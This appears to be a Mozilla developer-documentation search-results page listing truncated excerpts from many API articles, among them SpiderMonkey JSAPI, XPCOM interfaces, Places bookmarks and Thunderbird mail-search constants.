since it is very common for jsobjectops.checkaccess or jsclass.checkaccess hooks to call these functions, the object principals finder callback is a key security feature.
... the callback returns a pointer to the principals associated with obj, possibly via the immutable parent chain leading from obj to a top-level container (such as a window object in the dom).
JSPrincipals
codebase points to the common codebase for this object or script.
... only objects and scripts that share a common codebase can interact.
JSAPI reference
failure to root objects is a very common cause of mysterious crashes.
...ete since jsapi 1.8.5 js_getstringchars obsolete since jsapi 1.8.5 js_getstringcharsz obsolete since jsapi 33 js_getstringcharsandlength added in jsapi 1.8.5 obsolete since jsapi 33 js_getstringcharsz added in spidermonkey 1.8.5 obsolete since jsapi 33 js_getstringcharszandlength added in spidermonkey 1.8.5 obsolete since jsapi 33 js_getflatstringchars obsolete since jsapi 33 js_makestringimmutable obsolete since javascript 1.8.5 js_encodecharacters obsolete since jsapi 19 js_cstringsareutf8 obsolete since jsapi 19 js_setcstringsareutf8 obsolete since jsapi 19 interning strings tells the spidermonkey engine to reuse existing string objects when possible.
SpiderMonkey 1.8.5
to check what version you are running, issue the command /usr/bin/g++-4.2 -v from a terminal window.
...comments in bug 628723 with regard to its usefulness are appreciated.
SpiderMonkey 1.8.7
to check what version you are running, issue the command /usr/bin/g++-4.2 -v from a terminal window.
...comments in bug 628723 with regard to its usefulness are appreciated.
SpiderMonkey 1.8
(if you would like to contribute and maintain a project file, please feel free to contact the spidermonkey team via email, bugzilla, or irc.) alternatively, you can install mozillabuild and run the command make -f makefile.ref in the js/src directory.
... new macros js_fs, js_fn, and js_fs_end are recommended for populating jsfunctionspec arrays.
SpiderMonkey 31
when all jsapi operation has completed, the corresponding js_shutdown method (currently non-mandatory, but highly recommended as it may become mandatory in the future) uninitializes spidermonkey, cleaning up memory and allocations performed by js_init.
... it is not required to call js_shutdown at present, but it is strongly recommended: calling it may be required in a future spidermonkey release.
SpiderMonkey 45
eddertime (bug 1159507) js_mayresolvestandardclass (bug 1155946) js_getiteratorprototype (bug 1225392) js_globallexicalscope (bug 1202902) js_hasextensiblelexicalscope (bug 1202902) js_extensiblelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_setimmutableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::newfunctionfromspec (bug 1054756) js::compilefornonsyntacticscope (bug 1165486) js_checkforinterrupt (bug 1058695) js::mapdelete (bug 1159469) js::mapforeach (bug 1159469) js::newsetobject (bug 1159469) js::se...
...1208747) js::setstopwatchismonitoringcpow (bug 1156264) js::getstopwatchismonitoringcpow (bug 1156264) js::setstopwatchismonitoringjank (bug 1156264) js::getstopwatchismonitoringjank (bug 1156264) js::isstopwatchactive (bug 674779) js::getperfmonitoringtestcpurescheduling (bug 1181175) js::addcpowperformancedelta (bug 1181175) js::setstopwatchstartcallback (bug 1208747) js::setstopwatchcommitcallback (bug 1208747) js::setgetperformancegroupscallback (bug 1208747) js_stringhasbeeninterned renamed to js_stringhasbeenpinned (bug 1178581) js_internjsstring renamed to js_atomizeandpinjsstring (bug 1178581) js_internstringn renamed to js_atomizeandpinstringn (bug 1178581) js_internstring renamed to js_atomizeandpinstring (bug 1178581) js_internucstringn renamed to js_atomizeandpinuc...
Mozinfo
command line usage mozinfo comes with a command line, mozinfo which may be used to diagnose one's current system.
...mozinfo --help documents command-line usage.
Exploitable crashes
do this before making comments or taking actions that expose exploitability publicly.
... explain in a comment why the issue seems exploitable.
Animated PNG graphics
MozillaTechAPNG
apng is a simpler alternative to mng, providing a spec suitable for the most common usage of animated images on the internet.
...it is strongly recommended that when any error is encountered decoders should discard all subsequent frames, stop the animation, and revert to displaying the default image.
Gecko object attributes
common attributes class the class name for an element from html, xul, svg, etc.
... common widget attributes checkable true when the widget is known to behave like a checkbox.
Feed content access API
var i; var theentry; var theurl; var info; for (i=0; i<numitems; i++) { theentry = itemarray.queryelementat(i, components.interfaces.nsifeedentry); if (theentry) { theurl = doc.write('<b><a href="' + theentry.link.resolve("") + '">' + theentry.title.text + '</a></b><br>'); if (theentry.summary) { info = theentry.summary.text + "<p><hr><p>"; } else { info = theentry.content.text + "<p><hr><p>"; } doc.write("<blockquote>" + info); doc.write("</blockquote><p>"); } } } // close the document; we're done!
...we build the contents of the document by looking at the title, link, summary, and content properties for each item.
Manipulating bookmarks using Places
this article offers examples for how to perform common bookmark management tasks using the bookmarks service.
...r var myext_bookmarklistener = { onbeginupdatebatch: function() {}, onendupdatebatch: function() {}, onitemadded: function(aitemid, afolder, aindex) {}, onitemremoved: function(aitemid, afolder, aindex) {}, onitemchanged: function(abookmarkid, aproperty, aisannotationproperty, avalue) { myextension.dosomething(); }, onitemvisited: function(abookmarkid, avisitid, time) {}, onitemmoved: function(aitemid, aoldparent, aoldindex, anewparent, anewindex) {}, queryinterface: xpcomutils.generateqi([components.interfaces.nsinavbookmarkobserver]) }; // an extension var myextension = { // this function is called when my add-on is loaded onload: function() { bmsvc.addobserver(myext_bookmarklistener, false); }, // this function is called when my add-on is unloaded onunl...
Places Developer Guide
it provides code samples for many common use-cases, such as crud operations, searching, and observing.
... }, onitemmoved: function(id, oldparent, oldindex, newparent, newindex) { // oldparent and newparent are the ids of the old and new parent folders of the moved item.
Querying Places
using the results the most common way to use results is to implement a view.
...notifications sent to the result from the history and bookmarks system, as well as commands executed by the programmer such as sorting may cause the structure to change and nodes may be inserted, removed, or replaced.
The Publicity Stream API
this stream can be pulled down by getpublicitystream() and helps determine the results for getuserrecommendedapps().
...it is not recommended that applications consume the publicity stream in any way (please use your own server for any in-app social aspects).
Toolkit API
the mozilla toolkit is a set of programming interfaces (apis) built on top of gecko which provide advanced services to xul applications.
... these services include: profile management chrome registration browsing history extension and theme management application update service safe mode printing official references structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps see also the following developer pages contain examples and discuss...
Accessing the Windows Registry Using XPCOM
you can read the interface documentation for a full explanation, but we will show only the three most commonly used modes here: access_read — for reading values, enumerating keys, and receiving notifications access_write — for setting values and creating sub keys access_all — access for all operations in addition to open() and create(), there are the openchild() and createchild() methods.
... reading registry values probably the most common action associated with the windows registry is reading values.
Generating GUIDs
guids are used in mozilla programming for identifying several types of entities, including xpcom interfaces (this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5.
... canonical form the common form of a guid is xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, where each x stands for a hexadecimal digit.
Generic factory
summary most xpcom factories can be very simple.
... original document information author: patrick beard last updated date: february 26, 1999 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
XPCOM array guide
MozillaTechXPCOMGuideArrays
for example, here is its use in a class: class medialist { public: void addmedium(const nsstring& amedium); private: nstarray<nsstring> mmedia; }; // typesafety of mmedia ensures that we only append an nsstring void nodecontainer::addmedium(const nsstring& amedium) { mmedia.appendelement(amedium); } nstarray<t> can also be declared on the stack to collect a temporary list of objects and manipulate them.
...it is very common for other interfaces which support nsisimpleenumerator to make their own implementations.
XPCOM changes in Gecko 2.0
the earliest startup notification extensions can receive now is profile-after-change, which has always been the recommended notification to observe.
...xpcom service getters a number of commonly used xpcom services now have service getter functions available in the mozilla::services namespace; these make it much easier to get access to these services from c++ code.
Using XPCOM Components
xpconnect is what binds the application code to the user interface of the mozilla browser, to other gecko-based xul, and to javascript environments like xpcshell, which is a command-line javascript interpreter and xpcom tool is built with mozilla.
...in object-oriented programming, it's typical to design the interface first-to define the functionality that's going to be provided in the abstract, without worrying about how this functionality will be achieved.
Creating XPCOM components
ing along with the examples conventions acknowledgements an overview of xpcom the xpcom solution gecko components interfaces interfaces and encapsulation the nsisupports base interface xpcom identifiers cid contract id factories xpidl and type libraries xpcom services xpcom types method types reference counting status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components from script component internals creating components in cpp xpcom initialization xpcom registry manifests ...
...gistration the regxpcom program registration alternatives overview of the weblock module source digging in: required includes and constants identifiers in xpcom coding for the registration process the registration methods creating an instance of your component weblock1.cpp using xpcom utilities to make things easier xpcom macros generic xpcom module macros common implementation macros declaration macros weblock2.cpp string classes in xpcom using strings nsembedstring and nsembedcstring smart pointers starting weblock getting called at startup registering for notifications getting access to the category manager providing access to weblock creating the weblock programming interface defining the weblock interface in xp...
Inheriting from implementation classes
given that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierarchy, and a corresponding c++ implementation hierarchy, you run into multiple inheritance.
...see also dbaron's coding practices nsisupportsimpl.h comments author ben bucksch.
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
in basic c++ programming for a console application, we usually talk about streams to access files, or to interact with the user.
...most streams are asynchronous: they make no assumptions that all the data a resource provides is available immediately.
XPCOM guide
MozillaTechXPCOMGuide
avoiding leaks in javascript xpcom componentsprogrammers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
... this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components then check out platform/xpcom module first.inheriting from implementation classesgiven that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierarchy, and a corresponding c++ implementation hierarchy, you run into multiple inheritance.
Interfacing with the XPCOM cycle collector
in this stage the collector walks through the garbage objects it has found, again consulting with their helper objects, asking the helper objects to "unlink" each object from its immediate children.
... the traverse and unlink methods on the helper object are not magic; they are programmer-supplied and must be correct, or else the collector will fail.
Components.classes
shortcuts it's a common practice to abbreviate components.classes and components.interfaces by storing a reference to the object as a constant: const cc = components.classes, ci = components.interfaces; var os = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); a less known trick, useful when creating multiple instances of the same component, is to use the new operator on the class ...
... determining if a component has to be instantiated or used as a service in the general case it is not possible to programmatically determine if a given component has to be instantiated or used as a service.
Components.utils.Sandbox
a recommended value for this property is an absolute path to the script responsible for creating the sandbox.
...in this case, components.utils.nukesandbox can be used to force the sandbox to be freed immediately.
JavaXPCOM
javaxpcom allows for communication between java and xpcom, such that a java application can access xpcom objects, and xpcom can access any java class that implements an xpcom interface.
... community view mozilla embedding forums...
PyXPCOM
pyxpcom allows for communication between python and xpcom, such that a python application can access xpcom objects, and xpcom can access any python class that implements an xpcom interface.
... other resources pythonext - extension that provides pyxpcom samples - demo applications using pyxpcom community python-xpcom bindings mailing list (activestate) #pyxpcom on irc.mozilla.org source code the pyxpcom code is available here: http://hg.mozilla.org/pyxpcom/ to build pyxpcom, see building pyxpcom.
HOWTO
however, when you start your script, it exits immediately, before the network request returns.
...t_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js frame :: file.js :: <top_level> :: line 12" data: no] solution 1 var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript("chrome://myall/content/file.jsm"); see: http://mxr.mozilla.org/comm-central/...figutils.js#54 solution 2 append the following at the top of your js file which you want to run in xpcshell { // <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> // <https://bugzilla.mozilla.org/show_bug.cgi?id=546628> let cc = components.classes; let ci = components.interfaces; // register resource://app/ uri let ios = cc["@mozilla.org/network/io-service;1"] ...
XPCshell Test Manifest Expressions
comments if an expression contains a # (pound/hash) character outside of a string, the character and the rest of the line will be treated as a comment.
... this is useful as the entire line will generally be reported whenever tests are reported as being skipped, meaning the comment as well as the expression itself will appear in any logs where this is reported.
HeapMinimize
« xpcom api reference summary the heapminimize function attempts to shrink the size of the heap.
... static nsresult heapminimize( prbool aimmediate ); parameters aimmediate [in] if true, heap minimization will occur immediately if the call was made on the main thread.
RefPtr
there are no technical problems with doing so, and in some cases it may be necessary (see bug 756640 comment 1).
...it's unclear to me when the compiler will reject an attempt to use nscomptr to hold a concrete class pointer and when it will not (will it only rejecte it if a qi is involved in the construction or or assignment to the nscomptr (common in implementation details of nscomptr) but not when an instance of the concrete class is assigned directly?).
IAccessibleAction
actions are needed more for ats that assist the mobility impaired, such as on-screen keyboards and voice command software.
...there is no need to implement this method for single action controls since that would be redundant with the standard msaa programming practice of getting the mnemonic from get_acckeyboardshortcut.
imgIContainer
frame_current 1 frame_max_value 1 knormalanimmode 0 animation mode constants 0 = normal 1 = do not animate 2 = loop once.
... kdontanimmode 1 klooponceanimmode 2 kdisposeclearall -1 "disposal" method indicates how the image should be handled before the subsequent image is displayed.
mozIRegistry
summary clients will rely on nsrepository to create instances of a given class.
... original document information author: bill law last updated date: january 21, 1999 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
nsIAccessible
« gecko at interfaces page summary the nsiaccessible interface is a cross-platform interface that supports platform-specific accessibility apis like msaa and atk.
...}; accessible/public/nsiaccessible.idlscriptable please add a summary to this article.
nsIAppShellService
void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the command line from which startup args can be read.
...to get an out of process element you want to communicate with via message manager, then append a browser element with remote attribute set to true.
nsIAsyncInputStream
xpcom/io/nsiasyncinputstream.idlscriptable please add a summary to this article.
...if the stream is already readable or closed when asyncwait is called, then the nsiinputstreamcallback.oninputstreamready() event will be dispatched immediately.
nsIAsyncOutputStream
xpcom/io/nsiasyncoutputstream.idlscriptable please add a summary to this article.
...if the stream is already writable or closed when asyncwait is called, then the nsioutputstreamcallback.onoutputstreamready() event will be dispatched immediately.
nsIAuthPrompt2
this has largely the same semantics as nsiauthprompt.promptusernameandpassword(), but must return immediately after calling and return the entered data in a callback.
...implementations will commonly show a dialog with a username and password field, depending on flags also a domain field.
nsIAutoCompleteItem
xpfe/components/autocomplete/public/nsiautocompleteresults.idlscriptable please add a summary to this article.
... comment wstring an extra comment that will be displayed next to the value but that will not be part of the value itself.
nsIBrowserSearchService
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to this article.
... void init( [optional] in nsibrowsersearchinitobserver observer ); parameters observer if specified, a callback called once initialization is complete, or immediately, if the service has already been initialized.
nsIChannel
interfaces commonly requested include: nsiprogresseventsink, nsiprompt, and nsiauthprompt / nsiauthprompt2.
...its value is immutable.
nsIClipboardDragDropHooks
inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate).
...because this can be called many times, it is highly recommended that the implementation be very efficient so user feedback is not negatively impacted.
nsICookieStorage
modules/plugin/base/public/nsicookiestorage.idlnot scriptable please add a summary to this article.
...acookiebuffer buffer large enough to accommodate cookie data.
nsICryptoHash
in this example we take the binary data and produce a hexadecimal string of the result, as is commonly output by hashing programs.
... computing the hash of a string another common operation is computing the hash value of a string.
nsIDNSRequest
netwerk/dns/nsidnsrequest.idlscriptable please add a summary to this article.
...the listener will passed to asyncresolve will be notified immediately with a status code of ns_error_abort.
nsIDOMGeoGeolocation
summary the nsidomgeogeolocation interface provides access to geolocation information.
... dom/interfaces/geolocation/nsidomgeogeolocation.idlscriptable please add a summary to this article.
nsIDOMXULSelectControlItemElement
dom/interfaces/xul/nsidomxulselectcntrlitemel.idlscriptable please add a summary to this article.
... inherits from: nsidomxulelement last changed in gecko 1.7 attributes attribute type description accesskey domstring command domstring control nsidomxulselectcontrolelement read only.
nsIDocShell
kcharsetfrommetaprescan 8 values from this one downward are html5 tentative.
... kcharsetfrommetatag 9 values from this one upward are html5 confident.
nsIDragDropHandler
nsidragdrophandler is an interface for communicating with the built-in drag and drop implementation in the content area.
... content/base/public/nsidragdrophandler.idlscriptable please add a summary to this article.
nsIEditorBoxObject
layout/xul/base/public/nsieditorboxobject.idlscriptable please add a summary to this article.
...the editor.xml binding uses this property to gain access to the webnavigation, contentdocument, contentwindow, webbrowserfind, editingsession and commandmanager properties.
nsIEditorSpellCheck
editor/idl/nsieditorspellcheck.idlnot scriptable provides spell checking commands for nsieditor instances.
...this function allows the caller to force the default immediately.
nsIExternalProtocolService
for example, "mms".
...for example, a non-exposed protocol would not be loaded by the application in response to a link click or a x-remote openurl command.
nsIFTPEventSink
netwerk/protocol/ftp/nsiftpchannel.idlscriptable please add a summary to this article.
...msg a string holding response of the last command which had been sent.
nsIFeedContainer
common atom and rss fields are normalized, including some namespaced extensions such as "dc:subject" and "content:encoded".
... common namespaces are accessed using prefixes, such as get("dc:subject");.
nsIFeedEntry
summary nsifeedtextconstruct a summary of the feed entry's content.
... this is generated automatically using the entry's description, subtitle, summary, content, and appropriate extensions.
nsILoginManagerCrypto
toolkit/components/passwordmgr/public/nsiloginmanagercrypto.idlscriptable please add a summary to this article.
...it is not recommended for general purpose encryption/decryption.
nsIMemory
method overview voidptr alloc(in size_t size); violates the xpcom interface guidelines void free(in voidptr ptr); violates the xpcom interface guidelines void heapminimize(in boolean immediate); boolean islowmemory(); deprecated since gecko 2.0 voidptr realloc(in voidptr ptr, in size_t newsize); violates the xpcom interface guidelines methods alloc allocates a block of memory of a particular size.
... void heapminimize( in boolean immediate ); parameters immediate if true, heap minimization will occur immediately if the call was made on the main thread.
nsIMemoryReporterManager
reporter); void unregistermultireporter(in nsimemorymultireporter reporter); void unregisterreporter(in nsimemoryreporter reporter); attributes attribute type description explicit print64 gets the total size of explicit memory allocations, both at the operating system level (for example, via mmap, virtualalloc) and at the heap level (for example, via malloc(), calloc(), operator new).
... this reporter is special-cased because it is interesting, is available on all platforms, and returns a meaningful result on all common platforms.
Building an Account Manager Extension
the xul file needs a page element as root element, with a special on load command.
...it is common practice to use for the javascript of the new panel, the same naming as used for the xul.
nsIMsgCompFields
« xpcom api reference summary the nsimsgcompfields interface provides properties for an composition of an outgoing message.
...(bug 249530) newsgroups astring newshost char * newsposturl char * organization astring otherrandomheaders astring no longer exists - see https://groups.google.com/forum/#!topic/mozilla.dev.apps.thunderbird/s4ofmm8_b28 priority char * receiptheadertype print32 references char * replyto astring securityinfo nsisupports subject astring templatename astring temporaryfiles char * obsolete temporaryfiles obsolete, do not use anymore to astring usemultipa...
nsIMsgFilterCustomAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfiltercustomaction.idl interface nsimsgfiltercustomaction : nsisupports { /* globally unique string to identify this filter action.
... * recommended form: extensionname@example.com#actionname */ readonly attribute acstring id; /* action name to display in action list.
nsIMsgSearchCustomTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchcustomterm.idl attributes id /** * globally unique string to identify this search term.
... * recommended form: extensionname@example.com#termname * commas and quotes are not allowed, the id must not * parse to an integer, and names of standard search * attributes in searchattribentrytable in nsmsgsearchterm.cpp * are not allowed.
nsINavBookmarksService
this contains administrative data as well as user data, and is therefore not recommended for use in queries.
...this does not recurse, so you have to give it an immediate sibling of the given folder.
nsIObserver
the most common implementation of nsiobserverservice is the xpcom observer service.
... with this implementation, it's safe (and common practice) for an implementation of nsiobserver to remove itself as an observer during the observe callback, or to add or remove other observers.
nsIPrincipal
obsolete since gecko 1.8 commonname string the common name for the certificate.
...not sure what the immediate benefit would be, but i think the setup could make some code (e.g.
nsIProtocolHandler
the caller may provide the charset from which the uri string originated, so that the uri string can be translated back to that charset (if necessary) before communicating with, for example, the origin server of the uri string.
...this corresponds to the character set that should be used when communicating this uri to an origin server.
nsIRequest
it is not recommended for normal browsing as it may likely violate reasonable assumptions made by the server and confuse users.
... note: some implementations are unable to immediately suspend, and may continue to deliver events already posted to an event queue.
nsIScreen
constants screen brightness constants constant value description brightness_dim 0 the screen is fully dimmed (that is, off).
... lockminimumbrightness() locks the minimum brightness of the screen, preventing it from becoming any dimmer than that brightness level.
nsISelectionController
content/base/public/nsiselectioncontroller.idlscriptable please add a summary to this article.
...see bug 418470, comment 12 for details.
nsISmsDatabaseService
tring asender, in domstring abody, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsidommozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long requestid, [optional] in unsigned long long processid); void clearmessagelist(in long listid); void markmessageread(in long messageid, in boolean value, in long requestid, [optional] in unsigned long long processid) methods savereceived...
... createmessagelist() void createmessagelist( in nsidommozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid ); parameters filter a smsfilter to filter out sms messages from a list.
nsISmsService
to create an instance, use: var smsservice = components.classes["@mozilla.org/sms/smsservice;1"] .createinstance(components.interfaces.nsismsservice); method overview [implicit_jscontext] nsidommozsmsmessage createsmsmessage(in long id, in domstring delivery, in domstring sender, in domstring receiver, in domstring body, in jsval timestamp, in bool read ); unsigned short getnumberofmessagesfortext(in domstring text); boolean hassupport(); void send(in domstring number, in domstring message, in long requestid, [optional] in unsigned long long processid); m...
...ethods createsmsmessage() [implicit_jscontext] nsidommozsmsmessage createsmsmessage( in long id, in domstring delivery, in domstring sender, in domstring receiver, in domstring body, in jsval timestamp, in bool read ); parameters id a number representing the id of the message.
nsIStandardURL
netwerk/base/public/nsistandardurl.idlscriptable this interface defines the interface to an url with the standard file path format common to protocols like http, ftp, and file.
...this corresponds to the charset that should be used when communicating this uri to an origin server, for example.
nsISupports proxies
calls on object created with this flag will return immediately and you will lose all return information.
...ns_release(ptestobj); pproxy->bar(); ns_release(pproxy); original document information author: doug turner last updated date: january 27, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
nsIThread
xpcom/threads/nsithread.idlscriptable please add a summary to this article.
...if false, this method returns immediately if the queue is empty.
nsITimer
xpcom/threads/nsitimer.idlscriptable please add a summary to this article.
... if the callback takes a long time, then the next callback will be scheduled immediately afterward, but only once, unlike type_repeating_precise.
nsIToolkitProfileService
to access the built-in profile manager in versions of firefox up to 4.0 and thunderbird up to 3.3 you can launch with the -profilemanager command line flag.
... warning: this service is synchronous so it is recommended that you use os.file to find the profile directory via os.constants.path.profiledir.
nsITransaction
editor/txmgr/idl/nsitransaction.idlscriptable please add a summary to this article.
...if the transient state is true, the transaction manager returns immediately after the transaction's dotransaction() method is called, no references to the transaction are maintained.
nsITransactionManager
this is commonly referred to as the number of levels of undo.
...a value of zero means the transaction manager will execute each transaction, then immediately release all references it has to the transaction without pushing it on the undo stack.
nsIUTF8ConverterService
intl/uconv/idl/nsiutf8converterservice.idlscriptable please add a summary to this article.
...the most common case is the input is in 7bit non-ascii character sets like iso-2022-jp, hz or utf-7 (in its original form or a modified form used in imap folder names).
nsIWebContentHandlerRegistrar
); method overview void registercontenthandler(in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow) void registerprotocolhandler(in domstring protocol,in domstring uri, in domstring title, in nsidomwindow contentwindow) methods registercontenthandler summary of registercontenthandler void registercontenthandler( in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow ); parameters mimetype the desired mime type as a string uri the uri to the handler as a string.
... registerprotocolhandler summary of registerprotocolhandler void registerprotocolhandler( in domstring protocol, in domstring uri, in domstring title, in nsidomwindow contentwindow ); parameters protocol the protocol the site wishes to handle, specified as a string.
nsIWebProgressListener
*/ let mm = window.getgroupmessagemanager("browsers"); mm.loadframescript("chrome://path/to/some/example-framescript.js", true); mm.addmessagelistener("myaddonmessage", (message) => { let data = message.data; let browser = message.target; let outerwindowid = data.outerwindowid; // browser is now the <xul:browser> that saw the web progress activity // occur.
...this can be communicated back down to the content // in order to do send a command to a particular dom window.
nsIWindowMediator
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the two most common uses of nsiwindowmediator are, enumerating all windows of a given type and getting the most recent / any window of a given type.
... domwindow.alert('tab was selected') }, false); } }, false); }, onclosewindow: function (awindow) {}, onwindowtitlechange: function (awindow, atitle) {} }; //to register services.wm.addlistener(windowlistener); //services.wm.removelistener(windowlistener); //once you want to remove this listener execute removelistener, currently its commented out so you can copy paste this code in scratchpad and see it work native code only!calculatezposition a window wants to be moved in z-order.
nsIXULTemplateBuilder
the condition syntax allows for common conditional handling; additional filtering may be applied by adding a custom filter to a rule with the builder's addrulefilter() method.
... /xul/templates/public/nsixultemplatebuilder.idlscriptable please add a summary to this article.
nsMsgFolderFlagType
defined in comm-central/ mailnews/ base/ public/ nsmsgfolderflags.idl typedef unsigned long nsmsgfolderflagtype; /// flags about a folder or a newsgroup.
... const nsmsgfolderflagtype subscribed = 0x00000040; /// used to be for new newsgroups added by the `check new groups' command.
nsMsgSearchAttrib
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search attribute types.
... */ const nsmsgsearchattribvalue otherheader = 52; // must be last attribute const nsmsgsearchattribvalue knummsgsearchattributes = 100; }; ...
nsMsgSearchOp
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchopvalue; [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] interface nsmsgsearchop { const nsmsgsearchopvalue contains = 0; /* for text attributes */ const nsmsgsearchopvalue doesntcontain = 1; const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const nsmsgsearchopvalue isnt = 3; const nsmsgsearchopvalue isempty = 4; const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ const nsmsgsearchopvalue isafter = 6; const nsmsgsearchopvalue ishigherthan = 7; /* for priority.
...r...as the name implies =) */ const nsmsgsearchopvalue isinab = 16; const nsmsgsearchopvalue isntinab = 17; const nsmsgsearchopvalue isntempty = 18; /* primarily for tags */ const nsmsgsearchopvalue matches = 19; /* generic term for use by custom terms */ const nsmsgsearchopvalue doesntmatch = 20; /* generic term for use by custom terms */ const nsmsgsearchopvalue knummsgsearchoperators = 21; /* must be last operator */ }; ...
NS_ADDREF
summary macro addrefs the argument.
...ns_addref(foo) is equivalent to foo->addref(); this macro exists mainly for historical reasons, but for consistency and for symmetry with ns_release it should still be used.
NS_CStringContainerInit2
« xpcom api reference summary the ns_cstringcontainerinit2 function initializes a nscstringcontainer instance for use as a nsacstring.
...this is significant as it allows the programmer to be certain that ns_cstringgetdata will return a null-terminated character array.
nsMsgNavigationType
rd a message, you would call: // assuming gdbview is a global nsimsgdbview var resultid = new object(); var resultindex = new object(); var threadindex = new object(); gdbview.viewnavigate(components.interfaces.nsmsgnavigationtype.nextmessage, resultid, resultindex, threadindex, true); the nsmsgnavigationtype interface is defined as a global variable in thunderbird: var nsmsgviewcommandtype = components.interfaces.nsmsgviewcommandtype; mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
... togglethreadkilled 5 must match nsmsgviewcommandtype togglethreadkilled.
nsMsgSearchOpValue
nsmsgsearchopvalue defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl 146 typedef long nsmsgsearchopvalue; 147 148 [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] 149 interface nsmsgsearchop { 150 const nsmsgsearchopvalue contains = 0; /* for text attributes */ 151 const nsmsgsearchopvalue doesntcontain = 1; 152 const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ 153 const nsmsgsearchopvalue isnt = 3; 154 const nsmsgsearchopvalue isempty = 4; 155 156 const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsearchopvalue isafter = 6; 158 159 const nsmsgsearchopvalue ishigherthan = 7; /* for priority.
...plies =) */ 172 const nsmsgsearchopvalue isinab = 16; 173 const nsmsgsearchopvalue isntinab = 17; 174 const nsmsgsearchopvalue isntempty = 18; /* primarily for tags */ 175 const nsmsgsearchopvalue matches = 19; /* generic term for use by custom terms */ 176 const nsmsgsearchopvalue doesntmatch = 20; /* generic term for use by custom terms */ 177 const nsmsgsearchopvalue knummsgsearchoperators = 21; /* must be last operator */ 178 }; ...
Status, Recent Changes, and Plans
plans for nscomptr bug 59212: as soon as we test on more compilers, start recommending already_addrefed as a function result.
... added an entire section to the getting started guide on nscomptrs in function signatures added references to recent bugs influencing the use of nscomptr machinery: bug 59212, and bug 59414 fixed comparisons 1 and 3, as per comments by morten welinder updated examples to prefer direct initialization over copy initialization.
Using nsCOMPtr
contents status, recent changes, and plans recent changes to nscomptr getting started guide introduction using nscomptr summary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances frequently asked questions buildtime errors runtime errors how do i...
...portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Using nsIDirectoryService
if you are registering it yourself it is very important to register it immediately after calling ns_initxpcom.
...related pages code_snippets:file_i/o original document information authors: conrad carlen, doug turner last updated date: september 26, 2000 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
XPCOM ABI
